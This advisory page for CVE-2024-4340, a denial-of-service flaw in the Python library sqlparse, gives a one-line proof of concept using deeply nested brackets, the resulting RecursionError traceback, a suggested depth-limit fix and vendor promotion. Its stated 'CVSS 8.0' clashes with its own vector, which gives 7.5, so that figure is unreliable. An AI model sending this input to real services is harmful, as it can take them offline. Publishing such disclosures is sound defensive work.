🛡️ CVE-2024-4340 — sqlparse
Description
sqlparse parsing heavily nested list leads to Denial of Service
Summary
Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.
Details + PoC
Running the following code will raise Maximum recursion limit exceeded exception:
```py
import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)
```
We expect a traceback of RecursionError:
```py
Traceback (most recent call last):
File "trigger_sqlparse_nested_list.py", line 3, in <module>
sqlparse.parse('[' * 10000 + ']' * 10000)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse
return tuple(parsestream(sql, encoding))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run
stmt = grouping.group(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group
func(stmt)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets
_group_matching(tlist, sql.SquareBrackets)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching
tlist.group_tokens(cls, open_idx, close_idx)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens
grp = grp_cls(subtokens)
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__
super().__init__(None, str(self))
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in __str__
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr>
return ''.join(token.value for token in self.flatten())
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten
yield from token.flatten()
[Previous line repeated 983 more times]
RecursionError: maximum recursion depth exceeded
```
Fix suggestion
The [flatten()](https://github.com/andialbrecht/sqlparse/blob/master/sqlparse/sql.py#L207) function of TokenList class should limit the recursion to a maximal depth:
```py
from sqlparse.exceptions import SQLParseError
MAX_DEPTH = 100
def flatten(self, depth=1):
"""Generator yielding ungrouped tokens.
This method is recursively called for all child tokens.
"""
if depth >= MAX_DEPTH:
raise SQLParseError('Maximal depth reached')
for token in self.tokens:
if token.is_group:
yield from token.flatten(depth + 1)
else:
yield token
```
Impact
Denial of Service (the impact depends on the use).
Anyone parsing a user input with sqlparse.parse() is affected.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.
Weakness class
CVE-2024-4340 is classified as CWE-674: Uncontrolled Recursion. The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
Affected software
CVE-2024-4340 is recorded against 2 packages.
- sqlparse (fixed in 0.5.0)
- unknown
Timeline and source
Published on 15 April 2024 and last revised on 8 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
research.jfrog.com (Web)
CVE-2024-4340 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| sqlparse | — | 0.5.0 |
| unknown | — | — |
References
Similar Threats
- Medium ROOT-APP-PYPI-CVE-2023-30608
- High ROOT-APP-PYPI-CVE-2024-4340
- Medium ROOT-APP-PYPI-GHSA-27jp-wm6q-gp25
- High ROOT-APP-PYPI-GHSA-62qf-jcq8-8gxw
- Unknown ECHO-5ce0-3f88-5cb7
Site Security Check
Is sqlparse part of your stack?
CVE-2024-4340 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.